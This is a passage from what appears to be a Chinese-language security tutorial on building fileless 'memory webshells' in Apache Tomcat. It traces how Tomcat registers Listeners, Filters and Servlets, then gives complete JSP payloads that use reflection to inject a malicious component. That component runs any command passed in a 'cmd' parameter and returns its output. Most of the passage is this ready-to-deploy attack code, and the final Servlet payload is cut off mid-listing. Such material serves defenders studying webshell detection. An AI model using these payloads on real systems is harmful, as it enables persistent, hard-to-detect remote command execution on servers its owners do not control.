response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("Listener_memshell 被执行\n");
int len;
while ((len = bins.read()) != -1) {
response.getWriter().write(len);
}
} catch (IOException e){
e.printStackTrace();
} catch (NullPointerException n){
n.printStackTrace();
} catch (NoSuchFieldException e) {
} catch (IllegalAccessException e) {
}
}
}

@Override
public void requestDestroyed(ServletRequestEvent sre){

}
}

访问任意路由都可触发命令执行。

image-20221125100826079

​ 当然,这是我们直接在服务器后端生成的Listener,在实际利用中我们不可能直接在服务器上添加Listener,大多数情况,我们都是先通过文件上传等方式获得任意代码执行的权限,之后通过执行代码的形式向服务器中添加Servlet,接下来我们详细介绍一下如何通过任意代码执行向服务器中植入Listener内存马。

动态注册Listener流程

​ 在实际生活中,我们不可能直接将恶意Listener类部署到服务器上,因此我们需要找到,服务器是添加Listener的具体过程,手动调用添加Listener,从而注入内存马。在requestInitialized()处下断点,查看其调用栈。

image-20221125111212800

通过调用连可以发现,Tomcat在StandardContext#fireRequestInitEvent处调用了我们的恶意Listener。

image-20221125111310722

而恶意Listener存储在instances,由StandardContext#getApplicationEventListeners获取,继续跟进StandardContext#getApplicationEventListeners

image-20221125111551102

getApplicationEventListeners调用applicationEventListenersList.toArray(),而applicationEventListenersList是定义在StandardContext的私有数组,因此我们的目标就变成了如何在applicationEventListenersList数组中添加我们的恶意Listener。

image-20221125111603197

image-20221125111629584

继续向下寻找,我们会找到StandardContext#addApplicationEventListener方法,注释表明该方法用于添加一个监听器,由此可知,我们只需要获得一个StandardContext对象,然后调用addApplicationEventListener即可添加我们的恶意Listener。

image-20221125111905905

现在,我们可以直到动态注册Listener内存马基本步骤了:

  • 1.编写恶意Listener监听器。
  • 2.获取StandardContext。
  • 3.动态注册恶意Listener监听器。

构造Listener内存马

编写恶意Listener监听器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<%!
public class Listener_memshell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre){
// 获取request请求
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
// 获取参数
String cmd = req.getParameter("cmd");
if(cmd != null){
try{
// 获得response响应
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request) requestF.get(req);
Response response = (Response) request.getResponse();

// 执行命令
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("Listener_memshell 被执行\n");
int len;
while ((len = bins.read()) != -1) {
response.getWriter().write(len);
}
} catch (IOException e){
e.printStackTrace();
} catch (NullPointerException n){
n.printStackTrace();
} catch (NoSuchFieldException e) {
} catch (IllegalAccessException e) {
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre){

}
}
%>
获得StandardContext对象

StandardHostValve#invoke中,可以看到其通过request对象来获取StandardContext类,我们可以模仿其获取方法获取StandardContext对象。

image-20221125112340385

1
2
3
4
5
6
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>

此外,还有一些其他方法获取StandardContext对象。

1
2
3
4
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>
动态注册Listener
1
2
3
// 添加恶意Listener
Listener_memshell listener_memshell = new Listener_memshell();
context.addApplicationEventListener(listener_memshell);

Listener内存马完整代码

根据上述三个步骤构建的payload如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class Listener_memshell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre){
// 获取request请求
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
// 获取参数
String cmd = req.getParameter("cmd");
if(cmd != null){
try{
// 获得response响应
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request) requestF.get(req);
Response response = (Response) request.getResponse();

// 执行命令
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("Listener_memshell 被执行\n");
int len;
while ((len = bins.read()) != -1) {
response.getWriter().write(len);
}
} catch (IOException e){
e.printStackTrace();
} catch (NullPointerException n){
n.printStackTrace();
} catch (NoSuchFieldException e) {
} catch (IllegalAccessException e) {
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre){

}
}
%>
<%
// 获得StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
// 添加恶意Listener
Listener_memshell listener_memshell = new Listener_memshell();
context.addApplicationEventListener(listener_memshell);
%>

参考链接

Java安全学习——内存马

Tomcat 内存马(一)Listener型

Filter内存马

基本原理

​ filter也称之为过滤器,过滤器实际上就是对web资源进行拦截,做一些过滤,权限鉴别等处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。其工作原理是,当web.xml注册了一个Filter来对某个Servlet 程序进行拦截处理时该 Filter 可以对Servlet 容器发送给 Servlet 程序的请求和 Servlet 程序回送给 Servlet 容器的响应进行拦截,可以决定是否将请求继续传递给 Servlet 程序,以及对请求和相应信息进行修改。filter型内存马是将命令执行的文件通过动态注册成一个恶意的filter,这个filter没有落地文件并可以让客户端发来的请求通过它来做命令执行。

request:用来封装请求数据的对象,获取请求数据

  • 浏览器会发送HTTP请求到JavaWeb服务器;
  • 后台服务器会对HTTP中的数据解析并存入request对象中;
  • 后续对请求的读取等操作,对将针对request对象进行操作

response:用来封装响应数据的对象,设置响应数据。

  • 在HTTP处理结束后,业务处理的结果会存储到response对象中;
  • 后台服务器通过读取response对象,重新拼接为HTTP响应数据,发送给用户。

image-20221117191830346

​ 接下来,我们介绍一下Filter内存马构建过程。与Listener内存马分析流程类似,我们先构建一个恶意的Filter过滤器,然后分析其加载过程,从而模拟加载Filter加载恶意Fiter内存马。

恶意Filter过滤器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// src/main/java/Filter_memshell.java
package example.demo;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;

@WebFilter(filterName = "Filter_memshell",
urlPatterns = "/Login"
)

public class Filter_memshell implements Filter {
private String message;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
message = "调用 Filter_mem";
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
PrintWriter printWriter = response.getWriter();
// 执行命令
if(cmd != null) {
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
response.setContentType("text/html;charset=UTF-8");
printWriter.write("Filter_memshell 被执行");
int len;
while ((len = bins.read()) != -1) {
printWriter.write(len);
}
}
// 放行请求
chain.doFilter(request,response);
}

@Override
public void destroy() {
}
}

访问/Login即刻触发命令执行。

image-20221125220429948

动态注册Filter流程

同样的,在Filter_memshell#doFilter下断点,查看调用栈情况。

image-20221125220528500

可以看到在ApplicationFilterChain#internalDoFilter方法中,调用了filter.doFilter,filter变量存储着我们的恶意Listener类,继续查看filter如何生成的。

image-20221125220312340

可以看到filter是由filterConfig.getFilter返回的,而filterConfig是filters数组元素,很明显ApplicationFilterChain#filters数组存储的就是所有FilterConfig的地方。

image-20221125220737374

image-20221125220850419

同时我们也可以发现ApplicationFilterChain#addFilter,熟悉的感觉又来了,Listener也是这样的,我们只需要找一个ApplicationFilterChain对象就行,Tomcat代码风格果然类似。

image-20221125221621467

继续返回上一层,在StandardWrapperValue#invoke中发现了filterChain.doFilter调用,而filterChain对象则是来自于ApplicationFilterFactory.createFilterChain

image-20221125221934710

image-20221125222043708

跟进ApplicationFilterFactory#createFilterChain方法,发现filterChain首先通过new ApplicationFilterChain()创建一个空的filterChain,之后获取StandardContext#FilterMapsFilterMaps对象存储的是对象中存储的是各Filter的名称路径等信息,因此,我们需要构造一个恶意的FilterMap对象。最终我们可以看到StandardContext#FilterMaps是由StandardContext#addFilterMapBeforeStandardContext#addFilterMap写入的,但是吧StandardContext#addFilterMapBefore是头插入方式,即插入的Filter排在循序表前部,更容易被遍历到,所以一般都选择StandardContext#addFilterMapBefore进行插入。

image-20221125222339945

最后遍历filterMaps将符合条件的使用addFilter将filterConfig添加至链上,而filterConfig是存储在context中的,因此我们还要构造ApplicationFilterConfig对象。

image-20221125222537485

现在整个流程开始明朗了起来,动态注册Filter流程如下:

  • 1.编写恶意Filter过滤器
  • 2.获得StandardContex对象
  • 3.构造ApplicationFilterConfig
  • 4.构造恶意FilterMap

构建Filter内存马

编写恶意Filter过滤器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<%!
public class Filter_memshell implements Filter {
private String message;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
message = "调用 Filter_mem";
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
PrintWriter printWriter = response.getWriter();
// 执行命令
if(cmd != null) {
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
response.setContentType("text/html;charset=UTF-8");
printWriter.write("Filter_memshell 被执行");
int len;
while ((len = bins.read()) != -1) {
printWriter.write(len);
}
}
// 放行请求
chain.doFilter(request,response);
}

@Override
public void destroy() {
}
}
%>
获得StandardContext对象

StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。

获取StandardContext实在是有多种方法(包括Listener内存马获取StandardContext),以后可能会统一整理一下,这里列举一二。

方法一

Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。

1
2
3
4
5
6
7
8
9
10
11
12
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();

//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

方法二

1
2
3
4
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();

方法三

1
2
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

此方法在Tomcat 8 9是可用的,但是由于高版本tomcat把getResouces返回值弄成null了,就没法用了,可以使用反射获取Resources,下面的代码懒得测试了,遇到再说。

1
2
3
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot resources = (StandardRoot) getField(webappClassLoaderBase, "resources");
StandardContext standardContext = (StandardContext) resources.getContext();

方法四

1
2
3
4
5
6
7
8
9
10
11
12
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);

if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}
构造ApplicationFilterConfig

查看ApplicationFilterConfig的构造函数,发现除了需要context之外,还需要FilterDef对象,emmmm。

image-20221125225612401

再次查看FilterDef对象,可以看到FilterDef对象中filterfilterClassfilterName属性,分别对应web.xml中的filter标签。FilterDef的作用主要为描述Filter名字与Filter 实例的关系。同时后面调用context.FilterMap的时候会校验FilterDef,所以我们需要先设置FilterDef

image-20221125225820032

1
2
3
4
<filter>
<filter-name></filter-name>
<filter-class></filter-class>
</filter>

​ 此外在StandardContext中发现了addFilterDef方法,获得StandardContext看来确实必不可少。

image-20221126185749878

创建FilterDef对象

1
2
3
4
5
6
7
// 创建FilterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilter(new Filter_memshell());
filterDef.setFilterClass(Filter_memshell.class.getName());
// 添加FilterDef对象
standardContext.addFilterDef(filterDef);

创建ApplicationFIlterConfig对象

1
2
3
4
// 创建 ApplicationFilterConfig 对象
Constructor <?> [] constructor = ApplicationFilterConfig.class.getDeclaredConstructors();
constructor[0].setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor[0].newInstance(standardContext,filterDef);
构造恶意FilterMap

filterMaps中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>标签。

image-20221125232327574

1
2
3
4
<filter-mapping>
<filter-name></filter-name>
<url-pattern></url-pattern>
</filter-mapping>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 创建filterMap
FilterMap filterMap =new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/filter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 调用standardContext#addFilterMapBefore添加FilterMap对象
standardContext.addFilterMapBefore(filterMap);

// // 调用FilterMaps#addBefore添加FilterMap对象
// Class ContextFilterMaps = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
// Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps");
// filterMapsField.setAccessible(true);
// Object contextFilterMaps = filterMapsField.get(standardContext);

// Class cl = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
// Method m = cl.getDeclaredMethod("addBefore", FilterMap.class);
// m.setAccessible(true);
// m.invoke(contextFilterMaps, filterMap);
动态注册Filter内存马
1
2
3
4
5
6
// 将filterConfig添加至filterConfigs数组
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 将filterConfig添加至filterConfigs数组
filterConfigs.put(filterName,filterConfig);

Filter内存马完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterChain" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="example.demo.Filter_memshell" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%@ page import="org.apache.catalina.webresources.StandardRoot" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class Filter_memshell implements Filter {
private String message;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
message = "调用 Filter_mem";
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
PrintWriter printWriter = response.getWriter();
// 执行命令
if(cmd != null) {
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
response.setContentType("text/html;charset=UTF-8");
printWriter.write("Filter_memshell 被执行");
int len;
while ((len = bins.read()) != -1) {
printWriter.write(len);
}
return;
}
// 放行请求
chain.doFilter(request,response);
}

@Override
public void destroy() {
}
}
%>
<%
try {
String filterName = "filter_memshell";
// 获取ServletContext
ServletContext servletContext = request.getServletContext();

// 如果存在此filterName的Filter,则不在重复添加
if (servletContext.getFilterRegistration(filterName) == null){
// 获取StandardContext方法一
// Field reqF = request.getClass().getDeclaredField("request");
// reqF.setAccessible(true);
// Request req = (Request) reqF.get(request);
// StandardContext standardContext = (StandardContext) req.getContext();

// 获取StandardContext方法二
// 获取ApplicationContextFacade类
// ServletContext servletContext = request.getSession().getServletContext();
// // 反射获取ApplicationContextFacade类属性context为ApplicationContext类
// Field appContextField = servletContext.getClass().getDeclaredField("context");
// appContextField.setAccessible(true);
// ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
// // 反射获取ApplicationContext类属性context为StandardContext类
// Field standardContextField = applicationContext.getClass().getDeclaredField("context");
// standardContextField.setAccessible(true);
// StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

// 获取StandardContext方法三
// WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

// 获取StandardContext方法四
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
StandardContext standardContext = null;
while (standardContext == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);

if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
standardContext = (StandardContext) object;
}
}

// 创建FilterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilter(new Filter_memshell());
filterDef.setFilterClass(Filter_memshell.class.getName());
// 添加FilterDef对象
standardContext.addFilterDef(filterDef);

// 创建FilterMap
FilterMap filterMap =new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/filter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 调用standardContext#addFilterMapBefore添加FilterMap对象
standardContext.addFilterMapBefore(filterMap);

// // 调用FilterMaps#addBefore添加FilterMap对象
// Class ContextFilterMaps = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
// Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps");
// filterMapsField.setAccessible(true);
// Object contextFilterMaps = filterMapsField.get(standardContext);
//
// Class cl = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
// Method m = cl.getDeclaredMethod("addBefore", FilterMap.class);
// m.setAccessible(true);
// m.invoke(contextFilterMaps, filterMap);

// 获得filterConfigs数组
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

// 创建 ApplicationFilterConfig 对象
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

// 将filterConfig添加至filterConfigs数组
filterConfigs.put(filterName,filterConfig);
response.getWriter().println("Filter内存马添加成功");

}
} catch (Exception e){
response.getWriter().println(e.getMessage());
}
%>

doFilter中(代码第42行)有一个return,这是为了防止访问时出现404报错,由于Servlet没有这个路由网页,因此后端返回404,但此时doFilter是已经成功执行命令的,为了使其回显出来,因此添加了return,使得请求不通过Servlet直接返回。

image-20221125235311267

image-20221126194319895

Tomcat各版本对Filter内存马支持

首先之前构造的Filter型内存马是指支持Tomcat7以上,原因是因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3。

且在Tomcat7与8中 FilterDef 和 FilterMap 这两个类所属的包名不一样
tomcat 7:

1
2
org.apache.catalina.deploy.FilterDef;
org.apache.catalina.deploy.FilterMap;

tomcat 8:

1
2
org.apache.tomcat.util.descriptor.web.FilterDef;
org.apache.tomcat.util.descriptor.web.FilterMap;

Servlet内存马

​ servlet是一种运行在服务器端的java应用程序,主要功能在于交互式地浏览和修改数据,生成动态Web内容。基本流程为:

  • 客户端发送请求至服务器端;
  • 服务器将请求信息发送至Servlet;
  • Servlet生成响应信息并将其传给服务器。响应内容动态生成,通常取决于客户端的请求;
  • 服务将响应返回给客户端。

恶意Servlet

在进行Servlet编写之前,我们先对手动生成一个恶意的Servlet,使用注解的方式手动在服务器后台添加Servlet。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// src/main/java/example/demo/Servlet_memshell.jsp
package example.demo;

import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(
name = "Servlet_memshell",
urlPatterns = "/servlet"
)
public class Servlet_memshell extends HttpServlet {
private String message;

public void init() {
message = "Servlet 命令执行输出:\n";
}

public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if(cmd != null) {
try {
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
resp.setContentType("text/html;charset=UTF-8");
resp.getWriter().write(message);
int len;
while ((len = bins.read()) != -1) {
resp.getWriter().write(len);
}
}catch (Exception e){
resp.getWriter().println(e.getMessage());
}
}
}

public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}

​ 访问http://localhost:8080/servlet?cmd=whoami,命令执行成功。此时我们获得了一个可以执行命令的Servlet。

image-20221128112700365

动态注册Servlet流程

我们使用Listener监听servlet来了解servlet在tomcat中的建立过程,在contextInitialized处下断点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// src/main/java/example/demo/Listener_servlet
package example.demo;

import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;
import javax.servlet.annotation.WebListener;

@WebListener
public class Listener_servlet implements ServletContextListener {

@Override
public void contextInitialized(ServletContextEvent sce) {
System.out.println("ServletContext对象创建了!");
}

@Override
public void contextDestroyed(ServletContextEvent sce) {
System.out.println("ServletContext对象销毁了!");
}
}

进入StandardContext#startInternal可以发现调用StandardContext#loadOnStartup加载启动servlet。

image-20221201225714005

跟进StandardContext#loadOnStartup,发现loadOnStartup中遍历传入children参数,并判断loadOnStartup,如果>=0,则放list中,并使用wrapper.load()进行加载。children参数内容就是tomcat需要创建的servlet,这里我们可以看到tomcat自己创建的defaultjspservlet以及,我们自己创建的Servlet_memshellservlet,Login也是我们自己创建的,对Servlet内存马没有影响,这里可忽略

image-20221201231335791

loadOnStartup实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup属性值来设置每个Servlet的启动顺序0,正数的值越小,启动该servlet的优先级越高,默认值为-1,此时只有当Servlet被调用时才加载到内存中,loadOnStartupweb.xml中由<load-on-startup>1</load-on-startup>标签指定。由于我们要注入内存马,且没有配置xml不会在应用启动时就加载这个servlet,因此需要把优先级调至1,让自己写的servlet直接被加载。

image-20221201230351653

继续查找children是从哪里保存的,既然能够生成我们所设置的servlet,那么一定读取了web.xml

经过查找在StandContext#startInternal中,调用fireLifecycleEvent进行配置。

image-20221204191247827

image-20221204191357849

ContextConfig#configureStart中发现调用了webConfig配置。

image-20221204191658079

最终在ContextConfig#webConfig中发现contextWebXml变量,可以看到其中存在web.xml的物理路径。

image-20221204191724680

继续向下执行,发现除了读取web.xml外,同时合并了注解类型的配置,以及tomcat默认配置,最终存储在webXml变量中,我们可以看到Login是在web.xml中进行配置的,Servlet_menshell是通过注解配置的,而defaultjsp是tomcat默认配置的,这就解释了tomcat为什么能够解析jsp代码,因为其中默认配置了jsp的servlet。

image-20221204192436399

最后进入ContextConfig#configureContext应用配置,在configureContext我们能够发现,应用servlet的具体步骤,同时在此处我们也可以了解到listener和filter组件应用的步骤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class ContextConfig implements LifecycleListener {
...
private void configureContext(WebXml webxml) {
...
for (ServletDef servlet : webxml.getServlets().values()) {
// 对每个Servlet创建wrapper
Wrapper wrapper = context.createWrapper();
// Description is ignored
// Display name is ignored
// Icons are ignored
// 设置LoadOnStartup属性
if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
...
// 设置ServletName属性
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
// 设置ServletClass属性
wrapper.setServletClass(servlet.getServletClass());
...
wrapper.setOverridable(servlet.isOverridable());
// 将包装好的StandWrapper添加进ContainerBase的children属性中
context.addChild(wrapper);
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {

//添加路径映射
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
}
}

最后通过addServletMappingDecoded()方法添加Servlet对应的url映射。

构造Servlet内存马

通过对动态注册Servlet流程进行分析我们可以得到动态注册步骤步骤:

  • 1.编写恶意Servlet
  • 2.获得StandardContext对象
  • 3.通过StandardContext.createWrapper()创建StandardWrapper对象。
  • 4.设置StandardWrapper对象的loadOnStartup属性值。
  • 5.设置StandardWrapper对象的ServletName属性值。
  • 6.设置StandardWrapper对象的ServletClass属性值。
  • 7.将StandardWrapper对象添加进StandardContext对象的children属性中。
  • 8.通过StandardContext.addServletMappingDecoded()添加对应的路径映射。
编写恶意Servlet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<%!
public class Servlet_memshell extends HttpServlet {
private String message;

public void init() {
message = "Servlet 命令执行输出:\n";
}

public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if(cmd != null) {
try {
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
resp.setContentType("text/html;charset=UTF-8");
resp.getWriter().write(message);
int len;
while ((len = bins.read()) != -1) {
resp.getWriter().write(len);
}
}catch (Exception e){
resp.getWriter().println(e.getMessage());
}
}
}

public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}

%>
获得StandardContext对象
1
2
3
4
5
// 获得StandardContext
Field reqF=request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardCcontext = (StandardContext) req.getContext();
创建Wrapper
1
2
3
// 创建Wrapper
Servlet_memshell servlet_memshell = new Servlet_memshell();
Wrapper wrapper = standardCcontext.createWrapper();
设置Servlet属性

设置loadOnStartup属性

1
wrapper.setLoadOnStartup(1);

设置ServletName属性

1
wrapper.setName(name);

设置ServletClass属性

1
wrapper.setServlet(servlet_memshell);
动态注册Servlet
1
2
3
// 将Wrapper添加到StandardContext
standardCcontext.addChild(wrapper);
standardCcontext.addServletMappingDecoded("/servlet",name);

Servlet内存马完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java"%>
<%!
public class Servlet_memshell extends HttpServlet {
private String message;

public void init() {
message = "Servlet 命令执行输出:\n";
}

public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if(cmd != null) {
try {
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
